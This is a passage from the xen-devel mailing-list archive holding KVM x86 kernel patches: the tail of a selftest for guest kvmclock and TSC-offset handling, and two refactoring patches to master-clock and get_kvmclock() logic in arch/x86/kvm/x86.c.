+	TEST_REQUIRE(kvm_has_cap(KVM_CAP_TSC_CONTROL));
+
+	vm = vm_create_with_one_vcpu(&vcpu, guest_code);
+	configure_pvclock(vm);
+
+	/* Check KVM_GET_CLOCK_GUEST is supported */
+	{
+		struct pvclock_vcpu_time_info tmp;
+		int ret = __vcpu_ioctl(vcpu, KVM_GET_CLOCK_GUEST, &tmp);
+		TEST_REQUIRE(ret == 0);
+	}
+
+	/* First run at native frequency (no scaling). */
+	run_test(vm, vcpu, sleep_sec);
+
+	/*
+	 * Then enumerate a range of TSC frequencies crossing the 32-bit
+	 * boundary, to exercise the scaling path at various ratios.
+	 */
+	host_khz = __vcpu_ioctl(vcpu, KVM_GET_TSC_KHZ, NULL);
+	kvm_vm_free(vm);
+
+	for (freq = 1000000; freq <= 5000000; freq += 500000) {
+		if (freq == host_khz)
+			continue;
+		run_at_frequency(freq, sleep_sec);
+	}
+
+	test_tsc_stable_bit();
+	test_clock_guest_with_offsets();
+
+	return 0;
+}
+
+static volatile uint32_t vcpu_counter;
+static void guest_code_stable_bit(void)
+{
+	uint32_t idx = __atomic_fetch_add(&vcpu_counter, 1, __ATOMIC_SEQ_CST);
+	uint64_t gpa = KVMCLOCK_GPA + idx * sizeof(struct pvclock_vcpu_time_info);
+
+	wrmsr(MSR_KVM_SYSTEM_TIME_NEW, gpa | KVM_MSR_ENABLED);
+	GUEST_SYNC(0);
+	GUEST_SYNC(0);
+	GUEST_SYNC(0);
+}
+
+static void set_tsc_offset(struct kvm_vcpu *vcpu, uint64_t offset)
+{
+	struct kvm_device_attr attr = {
+		.group = KVM_VCPU_TSC_CTRL,
+		.attr = KVM_VCPU_TSC_OFFSET,
+		.addr = (__u64)(uintptr_t)&offset,
+	};
+
+	TEST_REQUIRE(__vcpu_has_device_attr(vcpu, KVM_VCPU_TSC_CTRL,
+					    KVM_VCPU_TSC_OFFSET) == 0);
+	vcpu_ioctl(vcpu, KVM_SET_DEVICE_ATTR, &attr);
+}
+
+static void run_vcpu_once(struct kvm_vcpu *vcpu)
+{
+	struct ucall uc;
+
+	vcpu_run(vcpu);
+	TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
+	switch (get_ucall(vcpu, &uc)) {
+	case UCALL_ABORT:
+		REPORT_GUEST_ASSERT(uc);
+		break;
+	case UCALL_SYNC:
+		break;
+	default:
+		TEST_FAIL("Unexpected ucall");
+	}
+}
+
+static void test_tsc_stable_bit(void)
+{
+	struct pvclock_vcpu_time_info pvti;
+	struct kvm_vcpu *vcpus[2];
+	struct kvm_vm *vm;
+	int ret;
+
+	pr_info("Testing PVCLOCK_TSC_STABLE_BIT with matched/unmatched TSCs\n");
+
+	vm = vm_create_with_vcpus(2, guest_code_stable_bit, vcpus);
+	configure_pvclock(vm);
+
+	/*
+	 * Case 1: All TSCs matched (same frequency and offset).
+	 * Master clock should be active, PVCLOCK_TSC_STABLE_BIT set.
+	 */
+	run_vcpu_once(vcpus[0]);
+
+	ret = __vcpu_ioctl(vcpus[0], KVM_GET_CLOCK_GUEST, &pvti);
+	TEST_ASSERT(!ret, "GET_CLOCK_GUEST should succeed with matched TSCs");
+	TEST_ASSERT(pvti.flags & PVCLOCK_TSC_STABLE_BIT,
+		    "PVCLOCK_TSC_STABLE_BIT should be set with matched TSCs");
+
+	/*
+	 * Case 2: Different TSC offset, same frequency.
+	 * Master clock should still be active (frequency matches), but
+	 * PVCLOCK_TSC_STABLE_BIT should be cleared (offsets differ).
+	 */
+	set_tsc_offset(vcpus[1], 12345678);
+	run_vcpu_once(vcpus[1]);
+	run_vcpu_once(vcpus[0]);
+
+	ret = __vcpu_ioctl(vcpus[0], KVM_GET_CLOCK_GUEST, &pvti);
+	if (ret) {
+		/* Master clock disabled by offset mismatch â€” old kernel */
+		pr_info("  Skipping offset tests (master clock requires matched offsets)\n");
+		goto out_stable;
+	}
+	TEST_ASSERT(!(pvti.flags & PVCLOCK_TSC_STABLE_BIT),
+		    "PVCLOCK_TSC_STABLE_BIT should be clear with offset-mismatched TSCs");
+
+	/*
+	 * Case 3: Different TSC frequency.
+	 * Master clock should be disabled entirely.
+	 */
+	vcpu_ioctl(vcpus[1], KVM_SET_TSC_KHZ,
+		   (void *)(unsigned long)(__vcpu_ioctl(vcpus[1], KVM_GET_TSC_KHZ, NULL) / 2));
+	/* Write TSC to trigger kvm_synchronize_tsc / kvm_track_tsc_matching */
+	vcpu_set_msr(vcpus[1], MSR_IA32_TSC, 0);
+	run_vcpu_once(vcpus[1]);
+
+	ret = __vcpu_ioctl(vcpus[0], KVM_GET_CLOCK_GUEST, &pvti);
+	TEST_ASSERT(ret && errno == EINVAL,
+		    "GET_CLOCK_GUEST should fail with frequency-mismatched TSCs, got %d (errno %d)",
+		    ret, errno);
+
+out_stable:
+	kvm_vm_free(vm);
+}
+
+static void test_clock_guest_with_offsets(void)
+{
+	struct pvclock_vcpu_time_info pvti0, pvti1, pvti1_after;
+	struct kvm_vcpu *vcpus[2];
+	struct kvm_vm *vm;
+	int64_t delta;
+	int ret;
+
+	pr_info("Testing KVM_[GS]ET_CLOCK_GUEST with different TSC offsets\n");
+
+	vm = vm_create_with_vcpus(2, guest_code_stable_bit, vcpus);
+	configure_pvclock(vm);
+
+	/* Set different TSC offsets on the two vCPUs */
+	set_tsc_offset(vcpus[0], 0);
+	set_tsc_offset(vcpus[1], 1000000000ull);
+
+	/* Run both to establish kvmclock */
+	run_vcpu_once(vcpus[0]);
+	run_vcpu_once(vcpus[1]);
+
+	/* GET_CLOCK_GUEST on both â€” should succeed (master clock active) */
+	ret = __vcpu_ioctl(vcpus[0], KVM_GET_CLOCK_GUEST, &pvti0);
+	if (ret) {
+		pr_info("  Skipping (master clock requires matched offsets on this kernel)\n");
+		kvm_vm_free(vm);
+		return;
+	}
+	ret = __vcpu_ioctl(vcpus[1], KVM_GET_CLOCK_GUEST, &pvti1);
+	TEST_ASSERT(!ret, "GET_CLOCK_GUEST on vcpu1 failed");
+
+	/* The tsc_timestamps should differ (different offsets) */
+	TEST_ASSERT(pvti0.tsc_timestamp != pvti1.tsc_timestamp,
+		    "tsc_timestamps should differ with different offsets");
+
+	/* Sleep to let time elapse, then restore vcpu0's clock */
+	sleep(1);
+	vcpu_ioctl(vcpus[0], KVM_SET_CLOCK_GUEST, &pvti0);
+
+	/* Run vcpu0 to process the clock update */
+	run_vcpu_once(vcpus[0]);
+
+	/* GET_CLOCK_GUEST on vcpu1 â€” should reflect the correction */
+	ret = __vcpu_ioctl(vcpus[1], KVM_GET_CLOCK_GUEST, &pvti1_after);
+	TEST_ASSERT(!ret, "GET_CLOCK_GUEST on vcpu1 after SET failed");
+
+	/*
+	 * After SET on vcpu0, verify the correction worked by getting
+	 * the clock on vcpu0 again. The mul/shift should be the same,
+	 * and computing kvmclock at the same TSC should give the same
+	 * result as the original (within Â±2ns).
+	 */
+	{
+		struct pvclock_vcpu_time_info pvti0_after;
+		uint64_t tsc_now, clk_from_old, clk_from_new;
+
+		ret = __vcpu_ioctl(vcpus[0], KVM_GET_CLOCK_GUEST, &pvti0_after);
+		TEST_ASSERT(!ret, "GET_CLOCK_GUEST on vcpu0 after SET failed");
+
+		tsc_now = pvti0_after.tsc_timestamp;
+		clk_from_old = pvclock_read_cycles(&pvti0, tsc_now);
+		clk_from_new = pvclock_read_cycles(&pvti0_after, tsc_now);
+
+		delta = (int64_t)clk_from_new - (int64_t)clk_from_old;
+		TEST_ASSERT(delta >= -2 && delta <= 2,
+			    "clock correction delta should be <=2ns, got %ld ns",
+			    delta);
+	}
+
+	/*
+	 * Also verify that vcpu1's clock is still accessible (master
+	 * clock still active with different offsets).
+	 */
+	ret = __vcpu_ioctl(vcpus[1], KVM_GET_CLOCK_GUEST, &pvti1_after);
+	TEST_ASSERT(!ret, "GET_CLOCK_GUEST on vcpu1 after SET failed");
+
+	kvm_vm_free(vm);
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353763.1609555 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKy-0008BG-9m; Fri, 03 Jul 2026 21:22:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353763.1609555; Fri, 03 Jul 2026 21:22:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKy-0008B2-6D; Fri, 03 Jul 2026 21:22:16 +0000
Received: by outflank-mailman (input) for mailman id 1353763;
 Fri, 03 Jul 2026 21:22:14 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKw-00081M-88
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKv-00CeeP-LH; Fri, 03 Jul 2026 23:22:13 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827de-bab6-0a2a0a5309dd-0a2a450adcec-24
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:13 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a482805-e40e-0a2a450a0019-5a9b3222ce60-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:13 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKX-0000000AsYD-0x2z; Fri, 03 Jul 2026 21:21:49 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RPP-0bzt;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=LCPHKocQxei12eLOnimwDSC7Gdxv3emgr2rZMstPsfQ=; b=D+gxe+zOcTheHMuzWnvdCppNWA
	57JVykAHl5rRTwt63XLCRD1vkYCu3NQBErzPcDEbuP+MaahyYUw5hq3EwgT7E4w2h7Gg0Ma1b5I9c
	y+FhSO1tI4GXlHfRW+zlB1kpu6M0vVZhLe9024hdHZX3BeH+AbDSkFNkPcop8uZEzpFkwZZTViDED
	XNcIi+iHLsu+wlkRd+qUOzLAXeurJLINvTyk2DBnlnB/8mRDQeMAjew2fmG/MNXpKG+17Z+JFWmfB
	M+I6BAQ6bxpzkaSzDdefvG7Z1bLT2dKVd2DTwpsBwrI0PN2j3OaH1YdS6A6i80wBBLY9y/hrMp1mS
	kde8DTaQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 24/36] KVM: x86: Factor out kvm_use_master_clock()
Date: Fri,  3 Jul 2026 22:18:03 +0100
Message-ID: <20260703212145.343527-25-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-4011c0/1783113733-D6B3CDDE-1712DCFB/0/0
X-purgate-type: clean
X-purgate-size: 4292

From: David Woodhouse <dwmw@amazon.co.uk>

Both kvm_track_tsc_matching() and pvclock_update_vm_gtod_copy() make a
decision about whether the KVM clock should be in master clock mode.
They used *different* criteria for the decision though. This isn't
really a problem; it only has the potential to cause unnecessary
invocations of KVM_REQ_MASTERCLOCK_UPDATE if the masterclock was
disabled due to TSC going backwards, or the guest using the old MSR.
But it isn't pretty.

Factor the decision out to a single function. And document the
historical reason why it's disabled for guests that use the old
MSR_KVM_SYSTEM_TIME.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/kvm/x86.c | 40 ++++++++++++++++++++++++++++++----------
 1 file changed, 30 insertions(+), 10 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 3a651f5ce2d2..f8883c3b8ed2 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -2638,11 +2638,30 @@ static inline bool gtod_is_based_on_tsc(int mode)
 {
 	return mode == VDSO_CLOCKMODE_TSC || mode == VDSO_CLOCKMODE_HVCLOCK;
 }
-#endif
+
+static bool kvm_use_master_clock(struct kvm *kvm)
+{
+	struct kvm_arch *ka = &kvm->arch;
+
+	/*
+	 * The 'old kvmclock' check is a workaround (from 2015) for a
+	 * SUSE 2.6.16 kernel that didn't boot if the system_time in
+	 * its kvmclock was too far behind the current time. So the
+	 * mode of just setting the reference point and allowing time
+	 * to proceed linearly from there makes it fail to boot.
+	 * Despite that being kind of the *point* of the way the clock
+	 * is exposed to the guest. By coincidence, the offending
+	 * kernels used the old MSR_KVM_SYSTEM_TIME, which was moved
+	 * only because it resided in the wrong number range. So the
+	 * workaround is activated for *all* guests using the old MSR.
+	 */
+	return ka->all_vcpus_matched_freq &&
+		!ka->backwards_tsc_observed &&
+		!ka->boot_vcpu_runs_old_kvmclock;
+}
 
 static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool update_mclock)
 {
-#ifdef CONFIG_X86_64
 	struct kvm_arch *ka = &vcpu->kvm->arch;
 	struct pvclock_gtod_data *gtod = &pvclock_gtod_data;
 	bool prev_matched_tsc = ka->all_vcpus_matched_tsc;
@@ -2680,7 +2699,7 @@ static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool update_mclock)
 	 * are fine â€” each vCPU's pvclock has its own tsc_timestamp that
 	 * accounts for its offset.
 	 */
-	bool use_master_clock = ka->all_vcpus_matched_freq &&
+	bool use_master_clock = kvm_use_master_clock(vcpu->kvm) &&
 				gtod_is_based_on_tsc(gtod->clock.vclock_mode);
 
 	/*
@@ -2695,8 +2714,11 @@ static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool update_mclock)
 	trace_kvm_track_tsc(vcpu->vcpu_id, ka->nr_vcpus_matched_tsc,
 			    atomic_read(&vcpu->kvm->online_vcpus),
 		            ka->use_master_clock, gtod->clock.vclock_mode);
-#endif
 }
+#else
+static inline void kvm_track_tsc_matching(struct kvm_vcpu *vcpu,
+					  bool new_generation) {}
+#endif
 
 /*
  * Multiply tsc by a fixed point number represented by ratio.
@@ -3210,10 +3232,9 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 #ifdef CONFIG_X86_64
 	struct kvm_arch *ka = &kvm->arch;
 	int vclock_mode;
-	bool host_tsc_clocksource, vcpus_matched;
+	bool host_tsc_clocksource;
 
 	lockdep_assert_held(&kvm->arch.tsc_write_lock);
-	vcpus_matched = ka->all_vcpus_matched_freq;
 
 	/*
 	 * If the host uses TSC clock, then passthrough TSC as stable
@@ -3223,9 +3244,8 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 					&ka->master_kernel_ns,
 					&ka->master_cycle_now);
 
-	ka->use_master_clock = host_tsc_clocksource && vcpus_matched
-				&& !ka->backwards_tsc_observed
-				&& !ka->boot_vcpu_runs_old_kvmclock;
+	ka->use_master_clock = host_tsc_clocksource &&
+				kvm_use_master_clock(kvm);
 
 	if (ka->use_master_clock) {
 		u64 tsc_hz;
@@ -3253,7 +3273,7 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 
 	vclock_mode = pvclock_gtod_data.clock.vclock_mode;
 	trace_kvm_update_master_clock(ka->use_master_clock, vclock_mode,
-					vcpus_matched);
+					ka->all_vcpus_matched_freq);
 #endif
 }
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353764.1609559 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKz-0008GA-1Y; Fri, 03 Jul 2026 21:22:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353764.1609559; Fri, 03 Jul 2026 21:22:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKy-0008EG-Mg; Fri, 03 Jul 2026 21:22:16 +0000
Received: by outflank-mailman (input) for mailman id 1353764;
 Fri, 03 Jul 2026 21:22:14 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKw-00082A-Ce
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKv-00CeeP-PD; Fri, 03 Jul 2026 23:22:13 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827ca-bab6-0a2a0a5309dd-0a2a4503bf3c-26
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:13 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a482805-ec1a-0a2a45030019-5a9b3222d6fa-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:13 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKW-0000000AsY5-1o7d; Fri, 03 Jul 2026 21:21:48 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001ROT-1D1r;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=5esTOgHqgTZQG0bhg0+NN2EeUiyx8in1MUEgOdbTb68=; b=i2Ub5UzQieNGYKh00g6PXh3mlj
	M6QMKQ7kfa6KmzGRvyGWn+y6cTd5d12wteB+OfmlUg/ChloyUDVPBsk+4pnifDfVTcFbQg8XPC6Wx
	9w7ufgolgi/BG63pmuYQdHTWGhN65P30JJe53ZSKtWpbYn92SfYCQPWnJpgO1TxJrQffhrc+nwhfT
	Hf+GYVvn5FM5FeI/rUSwlUKt+kTEK/s1DWnwBVHw4/d0ffwmTdNa7342xixebxJ+gyh5rnT0fAaFH
	X9l96ijMza3ZqOhdx51JKTtN5H+fAKNBFRSq11Ker17Mu5sqoVCHIho+ILVaPiuiyXPfDunwp82m5
	B97pDgTg==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 11/36] KVM: x86: Fold __get_kvmclock() into get_kvmclock()
Date: Fri,  3 Jul 2026 22:17:50 +0100
Message-ID: <20260703212145.343527-12-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-33051d/1783113733-061315D1-03F432AA/0/0
X-purgate-type: clean
X-purgate-size: 3279

From: David Woodhouse <dwmw@amazon.co.uk>

There is no need for the separate __get_kvmclock() helper; just inline
its body into get_kvmclock() within the seqcount retry loop.

No functional change.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 63 +++++++++++++++++++++-------------------------
 1 file changed, 28 insertions(+), 35 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 21603feb44c5..50f088570dab 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -3200,50 +3200,43 @@ static unsigned long get_cpu_tsc_khz(void)
 		return __this_cpu_read(cpu_tsc_khz);
 }
 
-/* Called within read_seqcount_begin/retry for kvm->pvclock_sc.  */
-static void __get_kvmclock(struct kvm *kvm, struct kvm_clock_data *data)
+static void get_kvmclock(struct kvm *kvm, struct kvm_clock_data *data)
 {
 	struct kvm_arch *ka = &kvm->arch;
 	struct pvclock_vcpu_time_info hv_clock;
+	unsigned int seq;
 
-	/* both __this_cpu_read() and rdtsc() should be on the same cpu */
-	get_cpu();
+	do {
+		seq = read_seqcount_begin(&ka->pvclock_sc);
 
-	data->flags = 0;
-	if (ka->use_master_clock &&
-	    (static_cpu_has(X86_FEATURE_CONSTANT_TSC) || __this_cpu_read(cpu_tsc_khz))) {
+		/* both __this_cpu_read() and rdtsc() should be on the same cpu */
+		get_cpu();
+
+		data->flags = 0;
+		if (ka->use_master_clock &&
+		    (static_cpu_has(X86_FEATURE_CONSTANT_TSC) || __this_cpu_read(cpu_tsc_khz))) {
 #ifdef CONFIG_X86_64
-		struct timespec64 ts;
+			struct timespec64 ts;
 
-		if (kvm_get_walltime_and_clockread(&ts, &data->host_tsc)) {
-			data->realtime = ts.tv_nsec + NSEC_PER_SEC * ts.tv_sec;
-			data->flags |= KVM_CLOCK_REALTIME | KVM_CLOCK_HOST_TSC;
-		} else
+			if (kvm_get_walltime_and_clockread(&ts, &data->host_tsc)) {
+				data->realtime = ts.tv_nsec + NSEC_PER_SEC * ts.tv_sec;
+				data->flags |= KVM_CLOCK_REALTIME | KVM_CLOCK_HOST_TSC;
+			} else
 #endif
-		data->host_tsc = rdtsc();
-
-		data->flags |= KVM_CLOCK_TSC_STABLE;
-		hv_clock.tsc_timestamp = ka->master_cycle_now;
-		hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
-		kvm_get_time_scale(NSEC_PER_SEC, get_cpu_tsc_khz() * 1000LL,
-				   &hv_clock.tsc_shift,
-				   &hv_clock.tsc_to_system_mul);
-		data->clock = __pvclock_read_cycles(&hv_clock, data->host_tsc);
-	} else {
-		data->clock = get_kvmclock_base_ns() + ka->kvmclock_offset;
-	}
-
-	put_cpu();
-}
-
-static void get_kvmclock(struct kvm *kvm, struct kvm_clock_data *data)
-{
-	struct kvm_arch *ka = &kvm->arch;
-	unsigned seq;
+			data->host_tsc = rdtsc();
+
+			data->flags |= KVM_CLOCK_TSC_STABLE;
+			hv_clock.tsc_timestamp = ka->master_cycle_now;
+			hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
+			kvm_get_time_scale(NSEC_PER_SEC, get_cpu_tsc_khz() * 1000LL,
+					   &hv_clock.tsc_shift,
+					   &hv_clock.tsc_to_system_mul);
+			data->clock = __pvclock_read_cycles(&hv_clock, data->host_tsc);
+		} else {
+			data->clock = get_kvmclock_base_ns() + ka->kvmclock_offset;
+		}
 
-	do {
-		seq = read_seqcount_begin(&ka->pvclock_sc);
-		__get_kvmclock(kvm, data);
+		put_cpu();
 	} while (read_seqcount_retry(&ka->pvclock_sc, seq));
 }
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353766.1609565 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKz-0008Pk-M8; Fri, 03 Jul 2026 21:22:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353766.1609565; Fri, 03 Jul 2026 21:22:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKz-0008M4-8j; Fri, 03 Jul 2026 21:22:17 +0000
